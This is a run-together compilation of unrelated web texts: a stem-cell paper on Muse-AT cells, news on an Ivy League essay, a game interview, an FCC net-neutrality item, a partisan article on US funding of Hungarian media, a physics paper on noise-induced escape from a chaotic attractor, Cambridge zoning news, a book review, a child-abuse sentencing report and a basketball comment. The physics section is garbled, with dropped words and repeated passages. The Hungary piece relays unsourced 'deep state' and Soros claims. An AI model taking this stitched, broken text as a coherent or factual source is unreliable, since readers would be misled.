Exposing Muse-AT cells to the same culture conditions used to induce ES and iPS hepatogenesis results in cytokeratin 7 and α-fetoprotein positive hepatocyte-like cells [29], [30], [56], [57], [58], [59], [60], [61]. Similarly, Muse-AT cells differentiate into neural-like cells in a comparable manner previously described with regards to ES and iPS cells [38], [39], [40], [41]. Muse-AT cells cultured in suspension for 7 days progressively form large cell clusters (Fig. 5B). Subsequent treatment as adherent cells for 7 days attribute to the formation neuron-like cells detectable by morphology and by axon and dendrite-specific markers MAP2 [37] and by nestin [62] (Fig. 5C). These results indicate the potential use of Muse-AT cells for liver and neural regeneration that parallel that of both ES and iPS cells. However, as these cells are not transgenically induced, they may be less worrisome in regards to the issue of teratogenesis.
Our microarray data confirmed that Muse-AT cells over-express the pluripotent stem cell markers SOX2, OCT3/4, (POU5F1) and REX1 3–4 fold in comparison with ASCs, indicating the intrinsic pluripotent and differential capacity of Muse-AT cells. Concordantly, Muse-AT cells exhibit up-regulation of genes associated with embryonic development. Up-regulation levels of pluripotent stem cell markers were observed in Muse cells derived from fibroblasts and bone marrow cells [13], although level of expression of these pluripotent stem cell markers in Muse-AT cells were very low compared with hESCs or iPS cells generated from human fibroblasts [14]. Muse-AT cells have a relatively low expression of many genes involved in tissue development, cellular assembly and organization, cellular function and maintenance, DNA replication, repair, and cell cycling in comparison with ASCs. These results suggest an intrinsic non-tumorigenic capacity of Muse-AT cells, in accordance with previously published data of the regenerative properties of Muse cells in the absence of the production of teratomas upon transplantation in vivo [13], [14]. However, under abnormal stress conditions (e.g. programming Muse-AT cells with the Yamanaka’s factors), it may be possible to activate endogenous Muse cells, which could account for the small population of cells that are converted into iPS cells [14]. Such a theory is supported by previous studies regarding the possible role of adult organ-specific positive Oct4 (+) stem cells during asymmetric division in the generation of cancer cells [63].
There are 144 differentially expressed genes associated with cell death and survival in Muse-AT cells versus ASCs, indicating that significant changes in expression of many of these genes could be required for the adaptive transition from the quiescent to the active state of Muse-AT cells during severe cellular stress. For example, Muse-AT cells over-express ALDH1A2 (47 fold change versus ASCs) and SOD2 (41 fold change versus ASCs) which have an anti-oxidative stress and anti-apoptotic functions [52], [64].
Many genes related to DNA repair are up-regulated in Muse-ATs, indicating a potentially high capacity to resist DNA damage as a result of severe cellular stress. Furthermore, several ABC-cassette genes were differentially expressed in Muse-ATs, indicating that active expression of drug transporter genes may play a role in observed stress resistance. The connexin gene family encodes proteins responsible for gap junction formation vital for direct cell-to-cell communication [65]. Epithelial derived pluripotent stem cells from human kidney and breast down regulate gap junctions formation to maintain a capacity for self renewal, which may be a necessary mechanism for other adult stem cells to retain pluripotent potential [63], [65]. The recently described protein consortin plays a critical role in gap junction recycling and degradation [44]. Our microarray data indicates a significant up-regulation of consortin.
mRNA in Muse-AT cells, which suggest that this protein may play a critical role in maintaining Muse-AT cell stemness and pluripotency, further indicating a need for future studies.
Recently, a potential source of error found in microarray analysis has been described [66] resulting from the comparison of heterogeneous cell populations that produced varied amounts of total RNA, which may result in masking of significant changes, as well as false positives. Recognizing this inherent potential for error in the microarray analysis, we attempted to partially address this issue by examining expression that was specific to either Muse-ATs or ASCs, with genes that were present in all ASCs and absent in all Muse-AT samples, and visa-versa. When considering fluctuations in total RNA, there typically exist fluctuations of several fold in total RNA [66], whereas in comparing mRNA that is present versus absent, fluctuation in sample expression is usually 2 to 3 orders of magnitude.
Many of the differentially expressed genes in Muse-AT cells are highly conserved, with homologues present in numerous small organisms (yeast, S. Cerevisiae, C. elegans, chlamydomonas, T. californica, drosophila, etc.). This indicates the possibility that Muse cells play a role in a highly conserved cellular mechanism related to cell survival in response to severe cellular stress [7], [67].
In normal adipose tissue, ASCs and Muse-ATs reside side by side and presumably interact during tissue differentiation, growth, and repair. Muse-ATs could not only play a critical role in repairing in vivo cellular damage by spontaneously differentiating into tissue-specific cells, but also may serve as regulatory cell, producing high levels of cell signaling molecules (e.g. chemokines and cytokines) to recruit and activate neighboring ASCs to differentiate and home to particular tissues. Future studies are needed to determine the interaction between Muse-ATs and ASCs during times of stress, injury, or inflammation.
As Ivy League admissions decisions come out this week, we thought it would be a good chance to review what exactly these exclusive universities are looking for.
How did Enin pull off this impressive feat? The Long Island student scored a 2250 on his SAT, had taken 11 AP courses, and was in the top 2% of his graduating class, but that doesn't necessarily show him fully as an applicant. The answer could be in his college application essay, which The New York Post published last year.
Enin's essay examines the impact music has had on his intellectual and personal development. "My haven for solace in and away from home is in the world of composers, harmonies, and possibilities. My musical haven has shaped my character and without it, my life would not be half as wonderful as it is today," he writes.
Enin eventually chose to attend Yale, where he's a freshman.
Read the full essay below, via The Post:
In the above video, Dan mainly answers questions related to the choice behind picking “The Forgotten Realms” as his setting, which for many RPG grognards, is considered “old hat” by now. Speaking as a fan of Faerun myself, I enjoyed his responses, which reiterate the long and storied history of the setting as well as the ease at which you can wrap a game around it.
Tudge also mentions the technology behind the game and their devotion towards the multiplayer aspect with the Dungeon Master mode. Balancing the old school gameplay with the new school, post-NeverWinter Nights expectations isn’t lost on Tudge, since he hints upon it in this line:
Well, technology has made huge advancements. Its not only allows us to be closer to the consumer with digital distribution, but the advent of technology now with great tools like unity and that have allowed us to create that painterly, old school experience but in a new way that still feels the same but gives you get all the benefits of a world you can move around in, rotate around in, zoom in and really get in and explore.
Zittrain is best known for his 2008 book The Future of the Internet—And How to Stop It. The vice-chairman of the committee will be David Clark, author of the famous paper End-to-End Arguments in System Design that many have cited as a predecessor to the modern concept of network neutrality.
The 21-member committee will include representatives from Netflix, AT&T, Comcast, Disney, Mozilla, the Center for Democracy and Technology, and Union Square Ventures. Verizon, which has sued to block implementation of the FCC's network neutrality rules, will not be represented on the committee. Nor does the committee appear to include any critics of network neutrality regulations from the nonprofit sector or academia.
In his statement announcing the new committee, Genachowski touted what he characterized as a flourishing broadband market. "In 2011, investment in wired and wireless network infrastructure rose 24 percent," he wrote. "There has been a dramatic increase over the past few years in the deployment of fixed broadband networks capable of very high speeds—100 Mbps—from being available in less than 20 percent of U.S. homes in 2009 to approximately 80 percent today."
It's not clear how much influence the committee will have over FCC policy. As an advisory committee, it has no formal regulatory powers, and its large and diverse membership may prevent it from taking any controversial stances.
Just a few months after U.S. politicians attacked Russia for their alleged interference in the 2016 Presidential Election, the State Department is investing $700,000 in Hungarian media in attack of Viktor Orban. Orban is the current Prime Minister of Hungary.
This funding has been announced by David Kostelancik, the U.S. Chargé d‘Affaires in Hungary. He currently works in the United States Hungarian Embassy in Budapest. On October 18, he was summoned to Hungarian foreign ministry after a speech criticizing Hungarian media policies. He said, “Government allies have steadily acquired control and influence over the media market, without objection from the regulatory body designed to prevent monopolies. Most recently, companies affiliated with pro-government figures acquired control of the last remaining independent regional newspapers.”
Kostelancik also appears to be an open critic of President Trump, attacking “apparent inconsistencies in [US] foreign policy” and remarking that “not every criticism of the government is ‘fake news’.”
According to TheGatewayPundit.com, this could be the work of the so-called “deep state” and George Soros, a Hungarian-American. They say that “Deep state operatives in the State Department despise Orban for his pro-democracy, anti-immigrant positions.”
Orban is the president of the conservative Fidesz party in Hungary. The party is likely to win come the springtime parliamentary elections. Major opposition includes the Hungarian Socialist Party and nationalist far-right party Jobbik.
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This paper is organized as follows. In Section II , we formulate the problem and give some ranges of parameters appearing in the system. Global analysis of the system by GCMD method is performed in Section III and subsequently in Section IV Hamiltonian formalism is employed, leading to an auxiliary dynamical system.using the concept of prehistoryis presented in Section V , giving rise to the fluctuational path. It is testified with the one corresponding to the global minimum of the action plot and they show rather good agreement in Section V . In Section VI , we give the results of primary homoclinic tangency and the action plot. In Section VII , we investigate the whole process of escape and study each step with the help of fluctuational force. The escaping mechanism is discussed. The results are discussed and summarized in Section VIII with conclusions drawn.
The main purpose of this paper is to uncover the same mechanism of escape from a nonhyperbolic chaoticin a continuous system driven by weak white nose. In Ref., an unstable periodic orbit embedded in the chaoticwas identified by an inspection of ridges of the distribution of escape paths and taken as the initial condition of the optimal path. However, in this paper, an unstable periodic orbit was first acquired by the generalizedmapping with digraph (GCMD) method, completely not involved with escape scenario. Then numerically andwe show that escape just starts from this unstable periodic orbit and furthermore, in a Poincaré section the point where escape begins turns out to be the primary homoclinic tangency of the chaotic
In particular, noise-induced escape from a chaoticplays an extremely significant role in the theory of fluctuations whose applications include laser system, neuron dynamics, and the control of migration in multi-stable systems. However, solving such problems is a formidable task as a result of the complicated structures of a chaoticand the obscureness of the way in which a fluctuational trajectory breaks away. Limited work has been done in this field using the Hamiltonian theory of large fluctuations. Anishchenkostudied the noised induced escape from a quasi-hyperbolicin the Lorenz system, showing that there exists a unique escape path consisting of three parts and the role of noise in each part is different. Noise induced escape from a nonhyperbolic chaoticin a periodically excited nonlinearwas considered by Luchinskii and Khovanovvia aof the escaping paths. The same system was studied in terms of the energy optimal control of chaos,connecting the Wentzel-Freidlin Hamiltonian in the analysis of fluctuations with Pontryagin's Hamiltonian in the control problem. According to Suso and Celso,escape from a nonhyperbolic chaoticstarts at the primary homoclinic tangencyclosest to the basin boundary. Their findings were substantiated in the discrete case with the help of Hénon and Ikeda map.
In the past two decades, a great deal of mathematical and experimental effort has been devoted to the study of large fluctuations in nonequilibrium systems,using Hamiltonian formalismor equivalent path integral formulations.The method is based on the concept of optimal paths along which the system fluctuates to a remote state with overwhelming probability. Through a proper formulation of a statistical distribution function, i.e., prehistoryexperimental approaches by means of analogue electronic circuitswere proposed to prove the physical existence of such paths. The mathematical foundation of these concepts involves aof dynamicalproviding extremums of certain action functional in the path integral formulation of the stochastic process. The optimal path gives rise to the absolute minimum to the action functional which characterizes the difficulty of the arrival at a given point along different paths. The quantity of the action serves as the exponential rate of a stationaryin approximated WKB form in the weak noise limit.As noise intensity tends to zero, these probabilities become exponentially small but the rate of falling off is path dependent. It follows that for a given noise intensity, the probability for the system moving along the optimal path is exponentially larger than ones of motions along other paths. We remark that extreme paths provide local extremums to the action functional, rather than global minimum. Patterns of extreme paths for nonequilibrium systems may have singular features.Variationalto calculate optimal paths are well known both for continuous and discrete systems,but methods of solving them have only been proposed for special cases of escaping from fixed points or limit cycles.
The consideration of random perturbations extends the notion of perturbations in deterministic cases, making allowance of the fact that instead of absolute smallness for all time it may be assumed that the perturbations are small only in mean over the ensemble of all possible realizations. Small random perturbations may assume large values, but the probability of these large values is small. Such an extension leads to effects not characteristic of small deterministic perturbations. Especially intriguing new features occur when considering a long lasting effect of small random perturbations. One of them is large fluctuations occurring only rarely but responsible for many physical processes,or noised-induced escape related to the stability ofin the presence of weak noise.
diagram for (1) in Poincaré section withis illustrated in Fig.for certain parameters, which will be used throughout this paper. As can be seen, the region of the large stable limit cycle of period 1 (SC1) locates between arrows 1 and 3 and the coexistence of the chaoticlies between arrows 2 and 3. The chaoticemerges as the result of periodic-doublingand thus corresponds to a nonhyperbolic(NHA). These are seen much more clearly in Fig., which shows an enlargement of Fig.in the range of 0.13–0.144.
A periodically excited nonlinearin the presence of noise was chosen as the model for investigationHere,are dynamical variables andis the Gaussian White noise such that. D is the noise intensity.are parameters, which are chosen such that the potential is monostable () and the dependence of the energy ofon their frequency is nonmonotonic (). The motion is underdamped (), and chaos could occur for a relatively small periodic force amplitude, as shown previously.This model has considerable appeal for researchers in a number of contexts sinceanalysis can be performed for an extensive range of parameters.
We first taketo coverandwith thesize at the first level being, as shown in Fig.. It is seen that UC3 consists of a number ofoccupying a large area. The second levelstate space is then constructed within originalof UC1, UC3 and also NHA to disclose its finer structure. Letting abe divided intosmallerwe obtain Fig., of which thesize is. The area of UC3 clearly decreases and NHA shows more details. Repeat this refining process by taking more subcells in eachof the first level, and results are presented in Figs.and. It is found that the UC3 and UC1 do persist under refining and moreover, in the close neighborhood of NHA there exists an unstable saddle cycle of period 9 (UC9) indicated by red circles with numbers 0–8 to reveal the order of iteration in Fig.. To make it more precise, if one starts at point-0 it will be mapped into point-1, point-2,…, point-8, and then back to point-0 again. We will explain the role which these unstable saddle cycles play in the process of escape in more detail later.
One may question the existence of the unstable cycles since they appear as collections of points, as shown in Fig.. This can be judged by dividing the whole phase space into morethat is to say, making the size of asmaller and the approximation to original system more accurate. The division in Fig.is. Finer divisions of the phase space can be made but it is quite time-consuming. However, we can construct a second-levelstate space by subdividingof interest only, such as the originalof UC3 or UC1. Then the same procedure of GCMD is carried out to the second-levelstate space. If the original unstable cycle does exist, it still persists as a self-cyclein this procedure. Or it would not survive under refining. This is an iterative method introduced by Hsu.This iterative procedure can be repeated to refine a self-cycleto any degree of accuracy we desire. We show some of the results in Fig.below.
The coexisting NHA and SC1 are shown in Fig.for the same Poincaré cross-section as Fig.in the absence of noise. We take the casefor consideration. There exist a saddle cycle of period 3 (UC3) around the NHA, indicated by black circles and a saddle cycle of period 1 (UC1), shown by black squares. The domain of attraction of NHA (shaded) and domain of attraction of SC1 (white) are shown in Fig.. It is observed that the boundary of attraction of NHA is notand is formed by the stable invariantof UC1, depicted by magenta curves. The green curves in Fig.correspond to the unstableof UC1, leading to SC1 in one direction and NHA in the other direction.
To begin with, global properties of Eq. (1) without noise are studied by the generalizedmapping with digraph (GCMD) method.Among all global properties, the most important one is probably theof all therepresenting the long-term steady motions. In this context, theare the SC1 and the NHA. In addition, one is also interested in locating the domain of attraction for eachand the boundarybetween them. Besides that, the GCMD method could also determine the unstable invariantin the state space, such as saddles and chaotic saddles. The basic idea of this approach is the primitive notion that a dynamical system is actually an ordering machine which assigns the fore-and after relations between points of phase space. In the GCMD method, a small region whose size can be made arbitrarily small, referred to as ais used to represent points in it. Consequently, the system is put in their discretized forms and the ordering between original points is replaced by the ordering betweenAn essential concept of self-cyclingof the graph theory is also employed to decideor other invariantFor more details, one can refer to Ref.
In general, there will be many extreme trajectories of (13) starting from initial stateto final state, thus the actionis multivalued. Only least action path corresponds to the physical realization of the noise. Taking all such realizationsinto consideration, there exists one giving the least action. This least actionis the actual value that appears in the WKB approximation (3) and the correspondingis the optimal trajectory. We finally remark that the multivaluedness of the actionmay bring singularities of topology of thetraced by extreme trajectories.
Solutions of Eq. (5) describe trajectories yielding extreme values of the cost functionalof the formwithbeing certain trajectory driven by the corresponding realization ofand satisfyingand. Since using (1) the cost functional (7) can be transformed into an action functionalThis has the form of a Lagrangian L for a classical mechanical system. As, these path integrals (8) can be evaluated by means of steepest descents and the paths dominating the integrals are the ones giving rise to. This results in a Euler-Poissonfor extreme paths, which is a 2nth-order nonlinear partial differentialand through applying the following relations:it can be converted into 2n first-order ordinary differential (5) . In other words, the actionmentioned above is just given by the variational problem of (8) . Combining (1) and formulas (8) (10) , we have the following:and the so-called Wenzel-Freidlin Hamiltonian for (1) Hence Eq. (5) for system (1) is a four dimensional Hamiltonian system as follows:
Substituting Eq. (3) into Eq. (2) and keeping only the terms of lowest order in D, we obtain the Hamilton–Jacobiforwhere the matrixandcorrespond toandin Eq. (2) , respectively. To solve the (4) , one can employ the method of characteristics, arriving at the following equations:and the evolutionforalong any characteristic isNote that Eq. (5) leads to an auxiliary Hamiltonian dynamical system, with the Wenzel-Freidlin Hamiltonian. From this point of view,can be interpreted as the classical action at zero energy.
Up to now we have studied global dynamics of the deterministic form of Eq. (1) such asdomains of attraction, and boundaryWe are now in a position to consider large fluctuations in the domain of attraction of NHA. If the noise intensity D is small, the system spends most of the time fluctuating about theonly occasionally far away from it (of scale). Furthermore, escape from the domain of attraction could occur. When it does occur, escape follows a unique optimal trajectory with overwhelming probability, seemingly in an almost deterministic way. To determine the optimal trajectory, we must turn to investigate the asymptotic solution of the Fokker-Planckfor Eq. (1) as, which isThe matrixandis the stationaryIn the limit of weak noise intensity D, one can seek an approximate solution of Eq. (2) in an eikonal or WKB formwithbeing a prefactor not investigated in this paper andbeing the “activation energy” of fluctuations to the vicinity of the pointin the state space.is also called quasipotential or nonequilibrium potential.
In Fig., we plotonly for last tens of seconds before fluctuating to UC1 indicated by an arrow in the figure. The parameters of system (1) used in this and the following sections are the same as those before. Evidently, the distribution for largehas sharp peaks along certain time series inplane. To make it more visible, this fluctuational path is plotted above in red by tracing out the ridges of the distribution. On the other hand, tracing back in time one can see that the distribution becomes irregular and unsharp. The reason will be talked about in Sec. VI . We end this section by giving time series of the escape trajectory from the abovein Figs.and. We also plotted the corresponding fluctuational force during the escape by averaging the noise realizations conserved simultaneously with path realizations and performing a low-pass filtering process, with a yellow zigzag line in Fig.. We havethe instant of terminating timewhen it fluctuates to UC1 equal to 0 in Fig.. The time length of the fluctuational force in Fig.is several periods longer than that of Figs.andto describe the whole process of escape. An explanation on this will be given at the end of Sec. VI
In this method, we first randomly selected initial pointnear theNHA, from which the stochastic differential (1) is integrated numerically with the noise intensity. The evolution of the systemand the random forceare tracked continuously until the system drops into a small neighborhood of the given end point, chosen as UC1 lying on the boundary of attraction of NHA. Then this particular path and noise realization are both conserved. Repeating this process thousands of times one obtains an ensemble of trajectories starting from NHA and terminating at point. By sample averaging, the prehistorycan be constructed and it contains all information with respect to the evolution process of the fluctuation. We remark that the initial pointis arbitrary and lie within distanceof NHA, whereis the characteristic diffusion amplitude about theFurthermore, since the fluctuation time is large compared with the system's relaxation time, by the time of escape the system has already “forgotten” the initial position. So physically the prehistoryis independent of
According to Sec. IV , it can be easily seen that optimal paths play a crucial role in the whole theory. However, there is no general method to solve Eq. (2) analytically for nonequilibrium system. Then we have to resort to some approximate methods, one of which is the concept of prehistory, first proposed by DykmanIt turns out to be an appropriate statistical method to describe the distribution of fluctuational paths, bothand experimentally.By definition,is given by a ratio of the three-time transition probabilityto the two-time one, with the initial instant of timehaving beenequal toso that bothandhave dropped out from. This distribution contains all the information on the temporal evolution of the system before arriving at. The existence of an optimal path of escape from thecan be confirmed by the shape ofDue to the fact that optimal paths are ones along which the system moves during escape with overwhelming probability, the prehistorypeaks sharply around the optimal path as. Thus when experimentally studying, one could find a region in the phase space with which the optimal path is clearly seen, i.e., the region with a distinct, narrow peak of the distribution.
VI. ACTION PLOT
S [ q ( t ) ] . As discussed before, there are generally infinite many solutions of Eq. q 0 and reach q f . Each of them has a corresponding action S ( q f ) and provides a local minimum to the action functional. However, only those trajectories of global minimum can be observed physically in the zero noise intensity since contributions to the probability from other local minima are exponentially small. In other words, our ensemble average of fluctuational realizations should be consistent with the global minimum action trajectory, referred to as the optimal path. Even though the prehistory distribution shows evident and sharp peaks, it still remains necessary to verify if the fluctuational path we obtained is the optimal one, that is to say, if it attains the global minimum of the action functional. As discussed before, there are generally infinite many solutions of Eq. (13) which emanate fromand reach. Each of them has a corresponding actionand provides a local minimum to the action functional. However, only those trajectories of global minimum can be observed physically in the zero noise intensity since contributions to the probability from other local minima are exponentially small. In other words, our ensemble average of fluctuational realizations should be consistent with the global minimum action trajectory, referred to as the optimal path.
et al., 8 72(3 Pt 2), 036131 (2005). 8. S. Beri, R. Mannella, D. G. Luchinsky, A. N. Silchenko, and P. V. E. Mcclintock, Phys. Rev. E(3 Pt 2), 036131 (2005). https://doi.org/10.1103/PhysRevE.72.036131 attractor and spanning the unstable Lagrangian manifold of the Hamiltonian system. However, prior to that we need to determine a point on NHA as the initial point where trajectories can be parametrized. Recalling the work by Suso and Celso 25 92(23), 234101 (2004). 25. S. Kraut and C. Grebogi, Phys. Rev. Lett.(23), 234101 (2004). https://doi.org/10.1103/PhysRevLett.92.234101 manifolds of the system are tangent in the state space. If both manifolds belong to the same periodic orbit, these tangencies are homoclinic (HT). PHT is a HT where the sum of the curvatures of the stable and unstable manifolds is minimal. Their results were substantiated with the help of discrete dynamical systems such as Hénon and the Ikeda maps. Inspired by this, we turn to determine the PHT of our system. The method of action plot, given by Beri.,is employed here to achieve our goal. The actions of trajectories at the moment of escape manifest themselves as a function of parameters which gives a proper parametrization of the trajectories emanating from theand spanning the unstable Lagrangianof the Hamiltonian system. However, prior to that we need to determine a point on NHA as the initial point where trajectories can be parametrized. Recalling the work by Suso and Celsowhich showed that, in fact, the initial condition for the most probable escape path from a NHA is uniquely determined by the primary homoclinic tangency (PHT) closest to its basin boundary. Nonhyperbolicity means that the stable and unstableof the system are tangent in the state space. If bothbelong to the same periodic orbit, these tangencies are homoclinic (HT). PHT is a HT where the sum of the curvatures of the stable and unstableis minimal. Their results were substantiated with the help of discrete dynamical systems such as Hénon and the Ikeda maps. Inspired by this, we turn to determine the PHT of our system.
26 105(1–3), 79– 96 (1997). 26. L. Jaeger and H. Kantz, Physica D(1–3), 79–(1997). https://doi.org/10.1016/S0167-2789(97)00247-9 6(a) 6(a) 6(b) 6(b) attractor deformations found that perturbations at a primary tangency are the most profoundly amplified both under forward and backward iterations. 31 82(11), 2274 (1999). 31. M. Diestelhorst, R. Hegger, L. Jaeger, H. Kantz, and R.-P. Kapsch, Phys. Rev. Lett.(11), 2274 (1999). https://doi.org/10.1103/PhysRevLett.82.2274 attractor there is the lowest. As a consequence, it is reasonable to choose PHT on NHA as the initial condition of the escape paths. With the algorithm proposed by Jaeger and Kantz,we can locate all the homoclinic tangencies (HTs) in the entire state space containing NHA, plotted as red points in Fig.. The PHT is indicated by a green pentagram. To give a more accurate position of PHT, we select a small region of the state space, shown as the green dashed rectangle in Fig., and present results in Fig.. The accuracy of the algorithm can be increased by taking more points in the region considered and the consequent positions of PHT do not vary obviously, ensuring its convergence to PHT. We also note that the PHT we found is requested to locate on NHA, as illustrated in Fig.. Researches investigating noise induceddeformations found that perturbations at a primary tangency are the most profoundly amplified both under forward and backward iterations.In other words, noise causes the largest deviations at PHT and the energy to leave thethere is the lowest. As a consequence, it is reasonable to choose PHT on NHA as the initial condition of the escape paths.
Saturday, June 27, 2015
A high-stakes process to remake 14 underused acres in Kendall Square and potentially give Cambridge a landmark skyscraper heads for a milestone meeting Monday. Two updates broke late this week about the federal John A. Volpe Transportation Center zoning proposal:
The experimental joint meeting’s schedule was released; it’s being held by both the City Council Ordinance Committee and the Planning Board.
Planning staff shared new documents, including a series of 3-D models they had previously refused to release without explanation.
The 620,000-square-foot Volpe parcel in Kendall Square houses one outdated Department of Transportation office building. The federal government intends to swap its land with a real estate developer in exchange for construction of a new building for the department. The city’s zoning process will set the rules for how that developer – who has not been selected – will be able to develop the parcel.
The zoning proposal originated from the city’s planning department, though it exchanged earlier drafts of the proposal with the Planning Board and accepted the board’s feedback on specifics before formally filing it with the City Council.
State law requires public hearings on zoning petitions, and in Cambridge – where they have often been heated and fractious – the usual practice is to hold separate council and Planning Board meetings. By holding one meeting, the city hopes to reduce unnecessary duplication. Mayor David Maher said the joint meeting request “came directly from the city manager.”
According to the agenda, the city’s planning staff will present from 6 to 6:30 p.m., the council and the board will discuss the zoning from 6:30 to 7:30 p.m., and public comment will be from 7:30 to 10 p.m. The mayor’s office said Friday that speaker time limits would be decided based on number of attendees, but that they expected each speaker would be allowed between three and five minutes.
Additional documentation
On Thursday, the planning department updated its zoning amendments Web page to add a 15-page staff memo, a set of supplemental “design guidelines” for the Volpe parcel that the zoning would adopt by reference and a “Volpe fact sheet” explaining the federal land swap arrangement.
The staff background memo gathers information about the zoning proposal and site that had been provided in disparate presentations, maps and write-ups. It contextualizes the Volpe zoning proposal relative to the city’s 2013 K2C2 planning study and 2001 Eastern Cambridge Planning Study. The memo is written for a more general audience than a Dec. 29 staff memo that took a finer-grained, more technical approach. The memo also includes a discussion of the 3-D modeling work the city has done.
The three pages of design guidelines list a series of questions a future site master plan will have to answer. Because the Volpe parcel will fall under the city’s Planned Unit Development process, the eventual real estate developer will have to get Planning Board approval of a PUD master plan. The guidelines require:
a site massing plan addressing how height and bulk will be used.
a connectivity plan showing newly constructed streets and how they will connect with bicycle and pedestrian activity.
an open space plan “with a view towards maximizing solar access.”
Three-dimensional models
Reversing its position, the city also released 3-D models of several conceptual scenarios for the Volpe parcel. City planners had shown static snapshots of the model to the planning board in April but refused to provide the model to the public, claiming they were exempt from disclosure because they had not been finalized by staff and voted on by the council.
But on Thursday, Assistant City Solicitor Anne Sterman wrote that “city staff have now completed work with the City Council on the zoning petition … and the city no longer believes that disclosure of the model will taint the city’s deliberative process.” It’s not clear why the city’s position changed, and the city did not respond to repeated questions about its withholding.
Here’s how the city looks today from Boston in Google Earth:
The city’s model showed four scenarios, each seen first as a Community Development Department image, then as a Google Earth rendering:
Study one: two slender residential towers, 500 feet and 350 feet high
Study two: one large residential tower 500 feet high
Study three: three large commercial towers, one 500 feet and two 350 feet high
Study four: one large commercial tower 1,000 feet high
Correspondence to council
As of Friday morning, the city clerk reported getting only two letters for Monday’s meeting: one from Cambridge architect and resident Tom Stohlman (published in Cambridge Day), and one from Third Square residents Rosemary Booth and Jerry O’Leary. Third Square is a residential development in a 3.5-acre “cutout” from the Volpe parcel. Third Square and Volpe, together with their separating streets, form a 19-acre near-rectangular shape.
Stohlman suggested changing the commercial and residential allotments, allowing a commercial maximum of 40 percent of the area, rather than 60 percent. He asked the council to allow greater height only in exchange for keeping the open space at present-day zoning levels and to not compromise its values on affordable housing, sustainable development, ground-floor retail or startup innovation space, all of which are components of the proposed zoning.
Booth and O’Leary worry that the zoning language as written could foreclose the possibility of a large public park, one they envision at Broadway and Third Street – what architects throughout the Connect Kendall competition referred to as the “one-hundred percent corner.” They expressed concern about allowing any of the federal government’s open space to count toward an open-space requirement, because the government could choose to tighten access restrictions at any time.
Citywide planning replies
Separate from the Volpe zoning, but in the larger context of city planning, Thursday was the final day for responses to the citywide planning request-for-qualifications. The city got submissions from five companies: BNIM, Context, Perkins+Will, Sasaki Architects and utile. Sasaki and utile appear to have Boston-based principals in charge of this project.
by Pierce Brown
Review by Vincent Mui
A few months ago, I was on MCPL's Library Matters podcast to talk about audiobooks. I had been listening to a lot of post-apocalyptic/dystopian books and a librarian suggested I check out the Red Rising trilogy (Red Rising, Golden Son, and Morning Star) by Pierce Brown. Who am I to refuse a suggestion from a librarian? I found myself up late at night, lying in bed and listening to what was going to happen next, neglecting the fact that I had to go to work the next day. I would show up to work tired with dark rings under my eyes. My co-workers would ask me if I was okay and I would tell them I was up late listening to an audiobook.
So that brings me to what the trilogy is about. Far in the future, humanity has colonized the solar system and has been organized into a hierarchical system based on colors. The system is referred to as the Society. At the very top of the color pyramid are the oppressive Golds, who rule over the Society. Below the Golds are the HighColors like Silver, the businessmen, and Copper, the administrators. The MidColors are Blues, space-navigators, Violets, the artists, and Grays, the law enforcement. LowColors are the Browns, the servants, Obsidians, bodyguards for the Gold and raised specifically for obedience and battle, and the Pinks, bred and trained solely for pleasure. At the very bottom are the Reds, who are the laborers. There is no upward mobility, and you are the color you are born into. In fact, your color’s sigil is branded onto you.
The trilogy follows Darrow, a 16-year-old Red, working in the mines below the planet Mars. As the helldiver for his clan, he risks his life daily, mining helium-3 underground for the sake of humanity. For generations, this has been the task for the Reds on Mars. By mining helium-3, they are preparing the planet for terraforming. After a sudden twists of events, BAM!, his life falls apart. It also turns out Mars has already been terraformed and millions of people have been living on it for centuries!
With few options left to him, Darrow joins the Sons of Ares, a terrorist group dedicated to fighting against the injustice of the Golds and the Society. Their plan is to remake Darrow and to train him, preparing him to infiltrate the Golds. Their long-term goal is for Darrow to gain rank and change the Society from within or through military strength. They send him off to the Institute, where only the best of the Golds are accepted. Red Rising is usually compared to The Hunger Games and it is probably because all of the students are separated into 12 Houses, placed into a valley with no food or water and are told that it is a free-for-all. Each Houses’ goal is to conquer the other 11. How you achieve that goal is up to you. Being a Gold, the students have all lived a life of luxury and are not exactly familiar with survival or not having things handed to them on a silver platter.
The rest of the trilogy takes on a larger world-view as it follows Darrow through the solar system navigating through Gold Society. There are so many twists and turns as Darrow fights for his people, all the while keeping his secret of being a Red. The trilogy is not your typical space opera where the bad guy is defeated and everyone lives happily ever after. There are moments where it becomes absolutely brutal and at one point, I had to actually stop listening in order to process what just happened. Not all is lost though. There are moments where you will smile and laugh at the camaraderie that is developed between some characters.
There’s political intrigue, blood feuds, relationships, friendships, spaceships, epic space battles, sacrifice, betrayal, torture, loss, duels, deaths, and redemption. It’s an emotional rollercoaster I was not prepared for, and I may have screamed through some of it.
Last June a federal jury found 20-year-old Matthew Durham guilty on seven counts of engaging in illicit sexual conduct in foreign places. Durham committed his crimes while he was volunteering as a missionary in Kenya’s Upendo Children’s Home near Nairobi between April and June of 2014.
U.S. District Judge David L. Russell sentenced Durham to 40 years in a federal prison Monday. He also ordered Durham to pay restitution of $15,863.
At sentencing Judge Russell called Durham a serial rapist and a child’s “worst nightmare,” noting:
These were heinous crimes committed on the most vulnerable victims. He was their worst nightmare come true.
Durham, 21, had faced up to 30 years on each of four counts of engaging in illicit sexual conduct in foreign places.
At the time of his trial Durham had testified in federal court that he was innocent but believed he was possessed by an evil spirit that made him do things he does not remember.
During an initial investigation Durham confessed to sexually molesting and raping as many as 10 orphans during a mission trip to Kenya, claiming a demon named Luke made him do it.
In text messages at the time of his crimes, Durham
claimed
that a demon named Luke was coming to him at night, once texting:
Every night Luke gets what Luke wants
Speaking after the sentencing, Acting U.S. Attorney Mark Yancey said:
Mr. Durham took advantage of his position as a ministry volunteer to sexually assault multiple children in Kenya. The significant sentence imposed today will remove the threat of any other children being exploited by him.
Speaking out in court in Oklahoma City on Monday, Durham asked the court for mercy before declaring:
Judgment from God is central, not the judgment of man. I do not fear God’s judgment.
Durham’s attorney Stephen Jones said he plans to appeal the convictions.
From a basketball perspective, Monday’s extension doesn’t make a lot of sense. The deal will pay Bryant $23.5 million next season and $25 million in 2015-16. Kobe is 35 years old and still has yet to return from an April Achilles tear. The Lakers are going to make him the highest-paid player in the league through age 37.
But more than basketball went into the Lakers’ decision to give Kobe this deal, and from that standpoint, he’s worth any amount of money they’re paying him, and will continue to be.
The deal will be up after his 20th season with the Lakers. John Stockton played 19 years with the Utah Jazz, but nobody in NBA history has ever played two full decades with the same team. These things matter to the Lakers and to Kobe.
